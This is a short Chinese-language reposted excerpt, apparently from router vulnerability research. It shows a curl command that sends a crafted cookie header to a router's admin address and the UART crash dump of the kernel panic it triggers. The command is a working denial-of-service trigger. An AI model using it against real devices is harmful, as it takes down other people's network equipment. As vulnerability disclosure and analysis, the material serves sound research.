时间:2015-03-04 | 来源:互联网 | 阅读:70
话题:
现在只要简单的发出一个cookie给路由,就会立即触发”Kernel Panic”
cawan$curl --header 'Cookie: C9=9' 192.168.1.1
在UART端口,我们能够立即看到
TLB refillexception occured! EPC=0x00000000 SR=0x10000003 CR=0x50805808 $RA=0x80020000 BadVirtual Address = 0x00000000 UTLB_TLBL..coresys_isr.c:267 sysreset() $r0= 0x00000000 $at= 0x80350000 $v0=0x00000000 $v1= 0x00000001 $a0= 0x00000001 $a1= 0x805D7AF8 $a2=0xFFFFFFFF $a3= 0x00000000 $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2=0x804A8F38 $t3= 0x804A9E47 $t4= 0x804A9460 $t5= 0x804A8A60 $t6=0x804A9D00 $t7= 0x00000040 $s0= 0x804A8A60 $s1= 0x8040C114 $s2=0x805E2BC8 $s3= 0x80042A70 $s4= 0x00000001 $s5= 0x8000007C $s6=0x8040E5FC $s7= 0x8040F8AC $t8= 0x804A9E48 $t9= 0x00000000 $k0=0x00000000 $k1= 0x8000007C $gp= 0x8040F004 $sp= 0x805E2B60 $fp=0x805E2BC8 $ra= 0x8003A3D0 00 01 02 03 04 05 06 07 08 09 0A 0B0C 0D 0E 0F 805e2bc8:80 5e 2b f8 80 04 2a 70 80 4e fe 1e 80 4e fe 20 .^+...*p.N...N. 805e2bd8:80 4e fe 21 00 00 00 09 80 40 f8 ac 80 48 4e 29 [email protected]) 805e2be8:80 55 54 4c 42 5f 54 4c 42 4c 00 21 80 1f 2e 88 .UTLB_TLBL.!.... 805e2bf8:80 5e 2c 18 80 10 e5 ec 80 42 64 dc 80 4e fe 1d .^,......Bd..N.. 805e2c08:80 40 f8 ac 00 00 00 00 80 40 e6 0c 80 10 dc c0 .@.......@...... 805e2c18:80 5e 2c 30 80 10 d7 38 80 40 f8 ac 00 00 00 00 .^,0...8.@...... ... ...
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